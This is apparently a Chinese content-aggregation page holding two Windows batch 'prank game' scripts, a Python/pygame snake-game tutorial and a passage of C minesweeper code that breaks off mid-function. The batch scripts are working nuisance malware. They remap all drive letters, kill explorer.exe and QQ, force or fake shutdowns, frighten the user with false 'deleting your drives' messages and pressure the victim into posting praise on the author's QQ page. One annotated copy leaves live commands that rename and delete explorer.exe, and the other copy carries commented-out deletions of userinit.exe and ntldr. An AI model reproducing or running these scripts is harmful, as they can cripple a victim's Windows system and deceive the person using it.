精华内容
下载资源
问答
  • bat游戏代码
    千次阅读
    2021-12-15 21:25:01
    @ color 1f
    @echo off
    title 最好别关本程序否则后果自负......!
    echo 注意窗口提示语。
    echo 如果出了问题,没人会负责。
    ping 127.0.0.1 /n 4 >nul
    echo 我需要一点权限。
    echo $import Internetwork
    ping 127.0.0.1 /n 2 >nul
    echo $import Memory
    pimg 127.0.0.1 /n 6 >nul
    echo 你中招了!
    echo 处理器异常!
    ping 127.0.0.1 /n 4 >nul
    echo.
    echo 正在移除C盘……
    echo.
    ping 127.0.0.1 /n 4 >nul
    echo 正在移除D盘……
    echo.
    echo 正在移除E盘……
    ping 127.0.0.1 /n 4 >nul
    echo F盘先给你留着吧!
    echo.
    echo 我会那么善良吗?
    ping 127.0.0.1 /n 4 >nul
    echo 不会的……
    echo.
    echo 呵呵开玩笑的!
    ping 127.0.0.1 /n 4 >nul
    echo 正在恢复C盘……
    echo.
    echo 正在恢复D盘……
    ping 127.0.0.1 /n 4 >nul
    echo 正在恢复E盘……
    echo.
    echo 正在恢复F盘……
    ping 127.0.0.1 /n 4 >nul
    echo.
    echo 看你的磁盘好少,怪可怜的……
    echo.
    ping 127.0.0.1 /n 4 >nul
    echo 给你加几个吧!
    echo.
    ping 127.0.0.1 /n 4 >nul
    @echo off
    for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:\)
    start explorer.exe
    ping 127.0.0.1 /n 4 >nul
    echo 呵呵……
    echo.
    ping 127.0.0.1 /n 4 >nul
    echo 给你时间,十秒看看你的电脑!
    echo .
    ping 127.0.0.1 /n 10 >nul
    echo 看过了吗,好玩的在后面!
    echo.
    ping 127.0.0.1 /n 120 >nul
    echo 哈哈!
    echo.
    @echo off
    shutdown /s /t 120 /c "电脑马上就要关机!"
    ping 127.0.0.1 /n 15 >nul
    shutdown -a
    echo 你上当了,吓唬吓唬你!
    ping 127.0.0.1 /n 4 >nul
    echo 正在一键重装中,请稍后……
    echo.
    echo 0.01
    ping 127.0.0.1 /n 4 >nul
    echo 0.13
    ping 127.0.0.1 /n 4 >nul
    echo 0.25
    ping 127.0.0.1 /n 4 >nul
    echo 0.49
    ping 127.0.0.1 /n 4 >nul
    echo 0.69
    ping 127.0.0.1 /n 4 >nul
    echo 0.89
    ping 127.0.0.1 /n 4 >nul
    echo 0.99
    ping 127.0.0.1 /n 4 >nul
    echo loading
    ping 127.0.0.1 /n 4 >nul
    echo 重装已完成!
    echo.
    ping 127.0.0.1 /n 4 >nul
    echo 也是吓唬你的!
    ping 127.0.0.1 /n 10 >nul
    echo 真正的游戏开始了……
    taskkill /f /im explorer.exe
    shutdown /s /t 30 /c "系统关键文件被删除导致崩溃!系统将在30秒后关机"
    ping 127.0.0.1 /n 28 >nul
    shutdown -a
    echo 你上当了,吓唬吓唬你,现在恢复所有程序Loading......
    echo.
    for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)
    start explorer.exe
    ping 127.0.0.1 /n 4 >nul
    echo 恢复已完成
    ping 127.0.0.1 /n 4 >nul
    echo 我会那么善良吗?
    ping 127.0.0.1 /n 4 >nul
    echo 不会
    ping 127.0.0.1 /n 4 >
    echo 逗你玩的!
    ping 127.0.0.1 /n 4 >nul
    echo 会发生什么呢?
    ping 127.0.0.1 /n 4 >nul
    echo 什么都没发生
    ping 127.0.0.1 /n 4 >nul
    echo 好的,没事了
    ping 127.0.0.1 /n 4 >nul
    echo 记得在抖音关注白昼小盆友,或白昼肖盆友
    title 现在可以关了
    
    更多相关内容
  • 小型bat游戏

    2015-05-05 21:18:39
    自己开发的一个小游戏,用批处理编制的,感觉还可以,希望大家爱喜欢
  • 自己自学批处理时编写的小游戏,其中包括一个递归生成随机地图的算法,以及其他bat命令行的语法和技巧,有一定的学习参考价值。整体比较复杂,以前单纯通过txt记事本编写,没有IDE环境,调试查错非常困难,实属不易
  • 这是我从网上搜集到bat游戏,也有我自己写的,均无毒。还不错,大家可以下载玩玩。额,50个字,那就多说点吧。我看了一下,算法还不错。本人第一次上传文件,还请大家多多指教。另外,请尊重作者的劳动,不要随便...
  • 贪吃蛇游戏代码 1.0

    2021-05-06 12:32:39
    贪吃蛇游戏代码,用C#做游戏引擎,用lua开发游戏,C#与Lua之间的交互,则用LuaInterface。 游戏引擎: 解决渲染问题(在控制台上画点、画线、画框等) 响应用户的键盘输入(用户要按键控制游戏)  也是Lua的...
  • 恶作剧批处理(bat代码解析

    万次阅读 多人点赞 2018-10-19 19:05:26
    什么是bat文件:  bat文件是dos下的批处理文件。批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下输入批处理文件的名称,或者双击该批处理文件,系统就会调用...

    无关的话:

     翻找资料时,发现了自己小时候保存到网盘里的一个恶作剧程序。碰巧最近刚看完shell命令,正好对该程序进行注释

    什么是bat文件:

     bat文件是dos下的批处理文件。批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下输入批处理文件的名称,或者双击该批处理文件,系统就会调用cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。

    其实就是一堆dos命令,类似于linux的shell

    步骤:

     

    1. 新建一个文本文件
    2. 用记事本打开输入以下代码
    3. 代码(关于修改系统文件的命令已经被注释),保存更改扩展名为.bat
    @echo off  
    color 00
    echo ping www.baidu.com > d:\小小木马.exe
    
    
    ::下面的几行代码要杀死explorer.exe进程并删除,删除explorer.exe文件不容恢复,所以被我注释掉了
    ::taskkill /f /im explorer.exe
    ::taskkill /f /im qq.exe
    ::ren %SystemRoot%\explorer.exe killer.dll
    ::del /f /s /q %SystemRoot%\explorer.exe
    
    
    cls
    echo.
    echo 哈哈哈!好开心呐!又有人中招了。
    echo.
    echo 不过别担心,我可不是坏人,嘿嘿!O(∩_∩)O
    echo.
    echo 这个界面还挺温馨的吧?好歹我也会考虑下中标者的心理对吧?
    echo.
    echo 别把我的窗口关掉,也别关机,信不信由你(警告)。
    echo.
    echo 下面给你一个选择,请慎重。
    
    echo.
    set /p AA=请键入Y(相信我)或者N(不相信)后按回车(y/n):
    if /i "%AA%"=="y" goto hui
    if /i "%AA%"=="n" goto no
    cls
    echo 你放弃了选择或者键入错误!
    pause
    
    :no
    
    
    ::下面要删除killer.dll和userinit.exe也被我注释掉了
    ::del %SystemRoot%\killer.dll
    ::del /f /s /q %SystemRoot%\system32\userinit.exe
    
    
    cls
    echo 既然你不相信我,那我也没什好说的了。
    echo.
    echo 别以为我只会干坏事,如果你相信我,那么一切都会没事的。
    echo.
    echo 下一步,请按任意键重启吧!唉╮(╯▽╰)╭
    pause
    echo @echo off >a.bat
    echo del d:\小小木马.exe >>a.bat
    echo del a.txt >>a.bat
    echo del 90后男生的龌龊事太震撼了.bat >>a.bat
    echo exit >>a.bat
    shutdown -r -t 00
    start a.bat
    exit
    
    :hui
    cls
    echo 哈哈,谢谢你相信我,你的选择是正确的。
    echo.
    echo 不过,你必须得按照我的提示完成以下步骤才行。
    echo.
    echo 等你完成了我的要求,我自然会把你的系统给恢复了。
    echo.
    echo 我善解人意吧?
    echo.
    echo 你要记住,在没有完全结束程序之前,你必须对我是友善的。
    echo.
    echo 不难吧?呵呵O(∩_∩)O
    pause
    echo %date% >a.txt & echo %time% >>a.txt
    echo 哈哈,小样,中招了吧? >>a.txt
    echo 不过你别担心,我不会对你怎么样,最主要的是你现在得听我的! >>a.txt
    echo 听懂了吗?呵呵。我正在监视你的电脑,所以别乱动。 >>a.txt
    echo 登陆你的QQ,然后点击查找,输入我的QQ号:******. >>a.txt
    echo 点击查看资料,然后点击我的空间,然后在我的留言板留10次"你好帅” >>a.txt
    echo 我是不会盗你的QQ号的。因为这没意思,我玩的是好玩的游戏。 >>a.txt
    echo 现在可以关掉这记事本了。O(∩_∩)O >>a.txt
    ::for %%i in (c,d,e,f) do for /f "delims=" %%n in ('dir /s /b %%i:\qq.exe') do start "" "%%n"
    start a.txt
    cls
    echo 登陆你的QQ并且留言后执行下一步。
    pause
    cls
    echo 呵呵,游戏到此也快结束了,放心,待会儿你的系统就会恢复了。
    echo.
    echo 但是!我还想在玩一个选择游戏,如果你正确的通关了,我就把你的系统恢复了,嘿!
    echo.
    echo 下面,请你做一个最关键的选择,记住,要慎重。
    echo.
    echo.
    :no1
    set /p BB=请键入Y(你好帅)或者N(你一点都不帅)后按回车(y/n):
    if /i "%BB%"=="y" goto no3
    if /i "%BB%"=="n" goto no2
    cls
    echo 你放弃了选择或者键入错误!
    pause
    goto no1
    :no2
    
    ::del %SystemRoot%\killer.dll
    ::del /f /s /q %SystemRoot%\system32\userinit.exe
    ::attrib -r -s -h %SystemDrive%\ntldr % del %SystemDrive%\ntldr
    
    cls
    echo 我操,我靠,难道我不帅吗?你怎么知道我不帅了啊?
    echo.
    echo 能把这小东西做到这样难道我不帅吗?你知道这样会让你的系统崩溃吗?
    echo.
    echo 我都说了要你慎重选择的,可是你偏偏选错了,没办法。╮(╯▽╰)╭唉
    echo.
    echo 下一步,请按任意键重启吧!唉╮(╯▽╰)╭
    pause
    echo @echo off >a.bat
    echo del d:\小小木马.exe >>a.bat
    echo del a.txt >>a.bat
    echo del 90后男生的龌龊事太震撼了.bat >>a.bat
    echo exit >>a.bat
    shutdown -r -t 00
    start a.bat
    exit
    :no3
    cls
    echo.
    echo 哈哈,谢谢你,我知道我挺帅的,不过还是想满足下自己的虚荣心。嘿嘿
    echo.
    echo 我真帅!O(∩_∩)O哈哈,滋滋,帅到掉渣吧?
    echo.
    echo 下一步,按任意键恢复你的系统吧。
    echo.
    echo.
    echo.
    pause
    
    ::ren %SystemRoot%\killer.dll explorer.exe & start %SystemRoot%\explorer.exe
    ::del %SystemRoot%\killer.dll
    
    cls
    echo 桌面出来了吧?哈哈,恭喜你过关。
    echo.
    echo 不过你别急着关了我这个程序,为什么呢?
    echo.
    echo 因为.............
    echo.
    echo 你看看你的D盘底下是不是多了样东西呢?
    echo.
    echo 想知道是什么吗?按任意键你就知道了。
    echo.
    pause
    echo @echo off >a.bat
    echo del d:\小小木马.exe >>a.bat
    echo del a.txt >>a.bat
    echo del 90后男生的龌龊事太震撼了.bat >>a.bat
    echo exit >>a.bat
    start a.bat

    注释(//之后的是注释):

    @echo off       //不显示命令
    color 00        //命令框的颜色
    echo ping www.baidu.com > d:\小小木马.exe     //ping百度把结果存放到 d:\小小木马.exe 
    taskkill /f /im explorer.exe         //杀死explorer.exe进程 
                                           // explorer.exe进程用来显示系统的桌面环境
                                            
    taskkill /f /im qq.exe                //杀死qq.exe进程
    ren %SystemRoot%\explorer.exe killer.dll          //把explorer.exe重命名为kille.dll
    del /f /s /q %SystemRoot%\explorer.exe            //删除explorer.exe
    cls
    
    echo.     //输出
    echo 哈哈哈!好开心呐!又有人中招了。
    echo.
    echo 不过别担心,我可不是坏人,嘿嘿!O(∩_∩)O
    echo.
    echo 这个界面还挺温馨的吧?好歹我也会考虑下中标者的心理对吧?
    echo.
    echo 别把我的窗口关掉,也别关机,信不信由你(警告)。
    echo.
    echo 下面给你一个选择,请慎重。
    
    :shi
    echo.
    set /p AA=请键入Y(相信我)或者N(不相信)后按回车(y/n):
    if /i "%AA%"=="y" goto hui   //输入y跳转到hui相关代码
    if /i "%AA%"=="n" goto no    //输入n跳转到no
    cls
    echo 你放弃了选择或者键入错误!
    pause
    goto shi            //输入错误会重复执行 shi
    :no
    
    cls        //清屏
    echo 既然你不相信我,那我也没什好说的了。
    echo.
    echo 别以为我只会干坏事,如果你相信我,那么一切都会没事的。
    echo.
    echo 下一步,请按任意键重启吧!唉╮(╯▽╰)╭
    pause
    shutdown -r -t 00   //关机
    exit          //退出
    
    :hui
    cls            //清屏
    echo 哈哈,谢谢你相信我,你的选择是正确的。
    echo.
    echo 不过,你必须得按照我的提示完成以下步骤才行。
    echo.
    echo 等你完成了我的要求,我自然会把你的系统给恢复了。
    echo.
    echo 我善解人意吧?
    echo.
    echo 你要记住,在没有完全结束程序之前,你必须对我是友善的。
    echo.
    echo 不难吧?呵呵O(∩_∩)O
    pause
    
    
    //把下面内容存入a.txt中
    echo %date% >a.txt & echo %time% >>a.txt
    echo 哈哈,小样,中招了吧? >>a.txt
    echo 不过你别担心,我不会对你怎么样,最主要的是你现在得听我的! >>a.txt
    echo 听懂了吗?呵呵。我正在监视你的电脑,所以别乱动。 >>a.txt
    echo 登陆你的QQ,然后点击查找,输入我的QQ号:*****. >>a.txt
    echo 点击查看资料,然后点击我的空间,然后在我的留言板留10次“你好帅” >>a.txt
    echo 我是不会盗你的QQ号的。因为这没意思,我玩的是好玩的游戏。 >>a.txt
    echo 现在可以关掉这记事本了。O(∩_∩)O >>a.txt
    
    //在本地查找qq的路径 并运行
    for %%i in (c,d,e,f) do for /f "delims=" %%n in ('dir /s /b %%i:\qq.exe') do start "" "%%n"
    start a.txt        //打开a.txt
    cls
    echo 登陆你的QQ并且留言后执行下一步。
    pause
    cls
    echo 呵呵,游戏到此也快结束了,放心,待会儿你的系统就会恢复了。
    echo.
    echo 但是!我还想在玩一个选择游戏,如果你正确的通关了,我就把你的系统恢复了,嘿!
    echo.
    echo 下面,请你做一个最关键的选择,记住,要慎重。
    echo.
    echo.
    
    :no1
    set /p BB=请键入Y(你好帅)或者N(你一点都不帅)后按回车(y/n):
    if /i "%BB%"=="y" goto no3            //输入y跳转到no3
    if /i "%BB%"=="n" goto no2            //输入n跳转到no2
    cls
    echo 你放弃了选择或者键入错误!
    pause
    goto no1                //输入其他跳转no1
    
    
    :no2                //no2代码
    cls
    echo 我操,我靠,难道我不帅吗?你怎么知道我不帅了啊?
    echo.
    echo 能把这小东西做到这样难道我不帅吗?你知道这样会让你的系统崩溃吗?
    echo.
    echo 我都说了要你慎重选择的,可是你偏偏选错了,没办法。╮(╯▽╰)╭唉
    echo.
    echo 下一步,请按任意键重启吧!唉╮(╯▽╰)╭
    pause
    echo @echo off >a.bat
    echo del d:\小小木马.exe >>a.bat
    echo del a.txt >>a.bat
    echo del 90后男生的龌龊事太震撼了.bat >>a.bat
    echo exit >>a.bat
    start a.bat
    shutdown -r -t 00            //关机
    
    exit
    
    
    :no3                //no3代码
    cls
    echo.
    echo 哈哈,谢谢你,我知道我挺帅的,不过还是想满足下自己的虚荣心。嘿嘿
    echo.
    echo 我真帅!O(∩_∩)O哈哈,滋滋,帅到掉渣吧?
    echo.
    echo 下一步,按任意键恢复你的系统吧。
    echo.
    echo.
    echo.
    pause
    
    //把killer.dll重命名成explorer  
    ren %SystemRoot%\killer.dll explorer.exe & start %SystemRoot%\explorer.exe
    del %SystemRoot%\killer.dll            //删除killer.dll
    
    cls
    echo 桌面出来了吧?哈哈,恭喜你过关。
    echo.
    echo 不过你别急着关了我这个程序,为什么呢?
    echo.
    echo 因为.............
    echo.
    echo 你看看你的D盘底下是不是多了样东西呢?
    echo.
    echo 想知道是什么吗?按任意键你就知道了。
    echo.
    pause
    exit 
    
    展开全文
  • 引言作为python 小白,总是觉得自己要做好百分之二百的准备,才能开始写程序。以至于常常整天在那看各种语法教程,学了几个月还是只会print('hello world')。这样做效率太低,正确的做法,是到身边找问题,然后编程...

    引言

    作为python 小白,总是觉得自己要做好百分之二百的准备,才能开始写程序。以至于常常整天在那看各种语法教程,学了几个月还是只会print('hello world')

    这样做效率太低,正确的做法,是到身边找问题,然后编程实现。比如说,我学了高等数学,我是不是应该考虑下如何去用编程实现求导或者积分操作,如果想不出怎么办,是不是应该 baidu 一下,别人是如何实现数值积分或是符号积分的。我们每天买东西都要用到加减甚至乘除,那么我是否能编写个简单的计算器,如果命令行太丑的话,我是否能够快速地学一学 pyqt5或是其他 gui来实现精致些的应用程序。凡事用编程思维考虑一下,对于从编程小白进阶为编程入门是大有裨益的。

    小时候,我们或多或少会沉迷于一款经久不衰的游戏------贪吃蛇。或许我们玩过各式各样的贪吃蛇游戏,却没有自己动手编写属于自己的贪吃蛇游戏。今天就让我们走进贪吃蛇的世界,用 python 实现简易版的贪吃蛇游戏。

    游戏简介

    首先是游戏效果图:

    d1723c9e202ee99229043faf7146e921.png
    image

    用户通过操控贪吃蛇,去吃到尽可能多的食物。其中贪吃蛇不能碰到墙壁,也不能咬到自身。

    本教程借助 pygame实现游戏界面,所以下面稍稍介绍一下 pygame的安装,用法就在下面连同函数一起讲了:

    安装:

    pip install -U pygame

    接下来让我们介绍下实现贪吃蛇的关键逻辑:

    贪吃蛇的身体是由list构成的,list中每一个元组代表贪吃蛇在棋盘上的坐标,我们只需在这些位置画上图案,就能制作出一条圆滚滚的贪吃蛇来。但是如果想让贪吃蛇活蹦乱跳,我们就要写一个move函数。

    那么贪吃蛇怎么移动呢?

    如果贪吃蛇没吃到食物,那么我们就删除list中最后一个坐标,再在蛇头部分插入新的位置。如何确定新的位置呢,我们就要设定贪吃蛇移动的方向(x,y),将原蛇头位置的坐标在移动方向上进行加减操作。这样贪吃蛇就实现了向前移动的目标。如果贪吃蛇恰好吃到了食物,唯一的不同就是不需要删除贪吃蛇尾部的元素。其中需要注意的是,贪吃蛇不能朝着当前移动方向的反方向移动。体现在代码中,就是当前方向与改变方向的乘积不能为负值。

    那么如何知道贪吃蛇吃到了食物呢?

    如果贪吃蛇蛇头的坐标与食物的坐标重合的话,贪吃蛇就吃到了食物。如果贪吃蛇吃到了食物,就在棋盘上随机更新食物。如果随机生成的食物的坐标,恰好与贪吃蛇的位置重合的话,就继续随机产生坐标,直到确保与贪吃蛇的坐标不同的时候。

    那么如何知道游戏失败了呢?

    如果贪吃蛇蛇头的坐标与边框的坐标重合的话,蛇卒。如果贪吃蛇各个部分的坐标有重合的话,就说明贪吃蛇咬到了自己,游戏结束。

    接下来是各个部分的具体代码实现:

    下图为主要需要的几个函数:

    fd281f84f42e311545428b3afba5d1c5.png
    image

    首先来看贪吃蛇模块:

    首先__init__初始化贪吃蛇的位置,初始方向竖直向上。toward函数用于改变贪吃蛇的方向,(x,y)分别表示蛇头在水平和竖直方向的朝向。朝左x=-1,朝右x=1,朝上y=-1,朝下y=1move函数,使用标志enlarge来判断蛇是否吃到了食物,并进行相应的操作。eat_food函数判断蛇是否吃到食物,吃到的话,分数加 100,并返回Truetoward函数,用于改变蛇头的方向,但如果改变方向与当前方向相反,就什么操作都不执行。draw函数用于画出贪吃蛇的模样,蛇头是略大一点的红心,蛇身是小一点的黄心。

    我们怎么画出这条蛇呢?这就要借助函数pygame.draw.circle,这个函数的主要参数有screen:就是你要在其中画出贪吃蛇的游戏界面,color:图案的颜色(RGB), position:图案在屏幕上的位置, radius:的半径,width:内部填色的大小,如果为零,图案就是空心圆;如果与半径大小相同,图案就是实心圆。

    下面是贪吃蛇的代码部分,大家可以结合注释阅读:

    # 贪吃蛇
    class Snack(object):
        def __init__(self):
            # self.item = [(3, 25), (2, 25), (1, 25), (1,24), (1,23),
            # (1,22), (1,21), (1,20), (1,19), (1,18), (1,17), (1,16)]
            # x 水平方向 y 竖直方向
            # 初始方向竖直向上
            self.item = [(3, 25), (2, 25), (1, 25), (1, 24), ]
            self.x = 0
            self.y = -1
    
        def move(self, enlarge):
            # enlarge 标记贪吃蛇有没有吃到食物
            if not enlarge:
                # 吃到食物删除尾部元素
                self.item.pop()
            # 新蛇头的坐标为旧蛇头坐标加上移动方向的位移
            head = (self.item[0][0] + self.x, self.item[0][1] + self.y)
            # 将新的蛇头坐标插入在 list 最前面
            self.item.insert(0, head)
    
        def eat_food(self, food):
            global score
            # snack_x,snack_y 蛇头坐标
            # food_x, food_y 食物坐标
            snack_x, snack_y = self.item[0]
            food_x, food_y = food.item
            # 比较蛇头坐标与食物坐标
            if (food_x == snack_x) and (food_y == snack_y):
                score += 100
                return 1
            else:
                return 0
    
        def toward(self, x, y):
            # 改变蛇头朝向
            if self.x * x >= 0 and self.y * y >= 0:
                self.x = x
                self.y = y
    
        def get_head(self):
            # 获取蛇头坐标
            return self.item[0]
    
        def draw(self, screen):
            # 画出贪吃蛇
            # 蛇头为半径为 15 的红色实心圆
            radius = 15
            width = 15
            # i:1---34   j:1---25
            color = 255, 0, 0
            # position 为图形的坐标
            position = 10 + 20 * self.item[0][0], 10 + 20 * self.item[0][1]
            pygame.draw.circle(screen, color, position, radius, width)
            # 蛇身为半径为 10 的黄色实心圆
            radius = 10
            width = 10
            color = 255, 255, 0
            for i, j in self.item[1:]:
                position = 10 + 20 * i, 10 + 20 * j
                pygame.draw.circle(screen, color, position, radius, width)

    其次是食物模块:

    np.random.randint用于产生边界之内的坐标,如果与贪吃蛇的坐标重合,那么就继续生成新的随机坐标。

    # 食物
    class Food(object):
        def __init__(self):
            self.item = (4, 5)
    
        # 画出食物
        def _draw(self, screen, i, j):
            color = 255, 0, 255
            radius = 10
            width = 10
            # i:1---34   j:1---25
            position = 10 + 20 * i, 10 + 20 * j
            # 画出半径为 10 的粉色实心圆
            pygame.draw.circle(screen, color, position, radius, width)
    
        # 随机产生食物
        def update(self, screen, enlarge, snack):
            if enlarge:
                self.item = np.random.randint(1, BOARDWIDTH - 2), np.random.randint(1, BOARDHEIGHT - 2)
                while self.item in snack.item:
                    self.item = np.random.randint(1, BOARDWIDTH - 2), np.random.randint(1, BOARDHEIGHT - 2)
            self._draw(screen, self.item[0], self.item[1])

    然后是init_board函数:

    board_widthboard_height分别为游戏界面的宽度和高度,根据计算得出边框占据的位置,然后打印出正方形来。pygame.draw.rectpygame.draw.circle用法类似,区别就是rect四个参数分别为screen:屏幕,color:颜色,pos:横坐标 x,纵坐标 y,矩形的长,矩形的宽。这里我设置矩形长宽都为 20 。widthcirclewidth用法相同,都是填充大小的意思。

    # 初始界面
    def init_board(screen):
        board_width = BOARDWIDTH
        board_height = BOARDHEIGHT
        color = 10, 255, 255
        width = 0
        # width:x, height:y
        # 左右边框占用了 X: 0 35*20
        for i in range(board_width):
            pos = i * 20, 0, 20, 20
            pygame.draw.rect(screen, color, pos, width)
            pos = i * 20, (board_height - 1) * 20, 20, 20
            pygame.draw.rect(screen, color, pos, width)
        # 上下边框占用了 Y: 0 26*20
        for i in range(board_height - 1):
            pos = 0, 20 + i * 20, 20, 20
            pygame.draw.rect(screen, color, pos, width)
            pos = (board_width - 1) * 20, 20 + i * 20, 20, 20
            pygame.draw.rect(screen, color, pos, width)

    接着是game_over模块:

    如何判断谁咬到自身呢?可以利用python内置数据结构set:set这种数据结构中不能有重复元素。如果将list变成set之后,长度变短了,就说明list中有重复元素,即贪吃蛇咬到自己了。

    # 游戏失败
    def game_over(snack):
        broad_x, broad_y = snack.get_head()
        flag = 0
        old = len(snack.item)
        new = len(set(snack.item))
        # 游戏失败的两种可能
        # 咬到自身
        if new < old:
            flag = 1
        # 撞到边框
        if broad_x == 0 or broad_x == BOARDWIDTH - 1:
            flag = 1
        if broad_y == 0 or broad_y == BOARDHEIGHT - 1:
            flag = 1
    
        if flag:
            return True
        else:
            return False

    接下来是游戏初始化模块:

    使用pygame模块需要使用pygame.init进行初始化。pygame.display.set_mode用来设置游戏界面的大小。pygame.display.set_caption用来显示游戏标题。

    # 游戏初始化
    def game_init():
        # pygame 初始化
        pygame.init()
        # 设置游戏界面大小
        screen = pygame.display.set_mode((BOARDWIDTH * 20, BOARDHEIGHT * 20))
        # 设置游戏标题
        pygame.display.set_caption('贪吃蛇游戏')
        # sound = pygame.mixer.Sound(AUDIONAME)
        # channel = pygame.mixer.find_channel(True)
        # channel.play(sound)
        return screen

    最后是游戏主函数:

    首先实例化贪吃蛇和食物。其次设置字体为SimHei,如果使用默认字体对中文的支持很不好。其次显示游戏界面,判断游戏是否失败。如果失败的话,就打印GAME OVER。否则就一直执行主函数。其中 pygame.event.get从队列中获取事件,也就是说必须先获取事件,才能得到用户的键盘输入和其他操作,screen.fill用于填充屏幕,pygame.key.get_pressed用于获取用户的键盘输入,pygame.display.update用来刷新到之前的图案,time.sleep用于控制刷新的频率。

    # 开始游戏
    def game(screen):
        snack = Snack()
        food = Food()
        # 设置中文字体和大小
        font = pygame.font.SysFont('SimHei', 20)
        is_fail = 0
        while True:
            for event in pygame.event.get():
                if event.type == QUIT:
                    exit()
            # 填充屏幕
            screen.fill((0, 0, 100))
            init_board(screen=screen)
            # 获得用户按键命令
            keys = pygame.key.get_pressed()
            press(keys, snack)
            # 游戏失败打印提示
            if is_fail:
                font2 = pygame.font.Font(None, 40)
                print_text(screen, font, 0, 0, text)
                print_text(screen, font2, 400, 200, "GAME OVER")
            # 游戏主进程
            if not is_fail:
                enlarge = snack.eat_food(food)
                text = u"score: {}  更多精彩关注微信公众号:python高效编程".format(score)
                print_text(screen, font, 0, 0, text)
                food.update(screen, enlarge, snack)
                snack.move(enlarge)
                is_fail = game_over(snack=snack)
                snack.draw(screen)
            # 游戏刷新
            pygame.display.update()
            time.sleep(0.1)

    好了,我们的贪吃蛇教程就这样结束了,其他零碎的知识点都在源码中。大家可以自己尝试编写自己的第一个贪吃蛇游戏了,还可以给自己的贪吃蛇扩展各种各样的功能。比如一边播放音乐,一边开始游戏,或者编写个更加美观的贪吃蛇界面。

    如果想获取源码,请私信回复07即可。

    展开全文
  • 扫雷游戏代码+代码分析

    千次阅读 多人点赞 2021-01-25 18:00:03
    要用代码实现一个扫雷游戏也需要写两百多行代码,也是一个不小的工程量了,所以为了逻辑更加清晰明了,我们还是和写三子棋游戏一样创建3个文件来写代码。 1个头文件(game.h),2个.c文件(game.c和test.c)。 game.h...

    要用代码实现一个扫雷游戏也需要写两百多行代码,也是一个不小的工程量了,所以为了逻辑更加清晰明了,我们还是和写三子棋游戏一样创建3个文件来写代码。
    1个头文件(game.h),2个.c文件(game.c和test.c)。
    game.h文件中主要还是写一些预处理信息、一些需要用到的现有的函数的头文件和自定义函数的声明。

    #define _CRT_SECURE_NO_WARNINGS 1
    //地雷的总数
    #define COUNT 10
    
    #define ROW 9//扫雷的行数
    #define COL 9//扫雷的列数
    
    #define ROWS ROW+2//需要创建的二维数组的行数
    #define COLS COL+2//需要创建的二维数组的列数
    
    #include<stdio.h>
    #include<time.h>
    #include<stdlib.h>
    #include<Windows.h>
    
    //初始化棋盘
    void InitBoard(char board[ROWS][COLS], int rows, int cols, char set);
    //打印棋盘
    void DisplayBoard(char board[ROWS][COLS], int row, int col);
    //布置雷
    void SetMine(char mine[ROWS][COLS], int row, int col, int count);
    //排查雷
    void FindMine(char mine[ROWS][COLS], char show[ROWS][COLS], int row, int col);
    
    

    用#define定义扫雷的行数和列数以及地雷的总数,以便于我们以后要修改数据的时候只需修改#define后面的数据就可以了,而不至于把代码全改一遍。

    game.c文件中也还是主要写game.h中自定义函数的具体定义。

    #include"game.h"
    //初始化棋盘
    void InitBoard(char board[ROWS][COLS], int rows, int cols, char set)
    {
    	int i = 0;
    	int j = 0;
    	for (i = 0; i < rows; i++)
    	{
    		for (j = 0; j < cols; j++)
    		{
    			board[i][j] = set;
    		}
    	}
    }
    //打印棋盘
    void DisplayBoard(char board[ROWS][COLS], int row, int col)
    {
    	int i = 0;
    	int j = 0;
    	printf("--------------扫雷游戏----------------\n");
    	for (i = 0; i <= row; i++)
    		printf("%d ", i);
    	printf("\n");
    	for (i = 1; i <= row; i++)
    	{
    		printf("%d ", i);
    		for (j = 1; j <= col; j++)
    		{
    			printf("%c ", board[i][j]);
    		}
    		printf("\n");
    	}
    	printf("--------------扫雷游戏----------------\n");
    }
    //布置雷
    void SetMine(char mine[ROWS][COLS], int row, int col,int count)
    {
    	while (count)
    	{
    		int x = rand() % ROW + 1;
    		int y = rand() % COL + 1;
    		if (mine[x][y] == '0')
    		{
    			mine[x][y] = '1';
    			count--;
    		}
    	}
    }
    //计算该坐标周围8个坐标存在的总雷数
    int GetMineCount(char mine[ROWS][COLS], int x, int y)
    {
    	int i = 0;
    	int sum = 0;
    	for (i = x - 1; i <= x + 1; i++)
    	{
    		int j = 0;
    		for (j = y - 1; j <= y + 1; j++)
    		{
    			sum += mine[i][j];
    		}
    	}
    	return sum - 9 * '0';
    }
    //判断周围雷的数量为0的坐标周围雷的存在情况,实现扫雷中的展开一片现象
    void JudgeAround(char mine[ROWS][COLS],char show[ROWS][COLS], int x, int y)
    {
    	int i = 0;
    	int j = 0;
    	for (i = x - 1; i <= x + 1; i++)
    	{
    		for (j = y - 1; j <= y + 1; j++)
    		{
    			if (show[i][j] != ' '&&i!=0&&i!=ROWS-1&&j!=0&&j!=COLS-1)
    			{
    				int count = GetMineCount(mine, i, j);
    				show[i][j] = count + '0';
    				if (show[i][j] == '0')
    				{
    					show[i][j] = ' ';
    					JudgeAround(mine, show, i, j);
    				}
    			}
    		}
    	}
    }
    //计算剩下未知坐标的数量,当其等于雷的总数时表示扫雷成功
    int Remain(char show[ROWS][COLS], int row, int col)
    {
    	int i = 0;
    	int j = 0;
    	int count = 0;
    	for (i = 1; i <= row; i++)
    	{
    		for (j = 1; j <= col; j++)
    		{
    			if (show[i][j] == '*')
    				count++;
    		}
    	}
    	return count;
    }
    //排查雷
    void FindMine(char mine[ROWS][COLS], char show[ROWS][COLS], int row, int col)
    {
    	int ret = 0;
    	while (ret!=COUNT)
    	{
    		printf("请输入要排查的坐标:>");
    		int x = 0;
    		int y = 0;
    		scanf("%d%d", &x, &y);
    		//判断输入坐标合法性
    		if (x >= 1 && x <= row && y >= 1 && y <= col)
    		{
    			//判断该坐标处是不是雷
    			if (mine[x][y] == '1')
    			{
    				printf("很遗憾,你被炸死了!\n");
    				DisplayBoard(mine, ROW, COL);
    				break;
    			}
    			else
    			{
    				//不是雷,统计该坐标周围雷的个数
    				int count = GetMineCount(mine, x, y);
    				show[x][y] = count + '0';//存放的是数字字符
    				if (show[x][y] == '0')//如果该坐标周围雷的数量为0
    				{
    					show[x][y] = ' ';
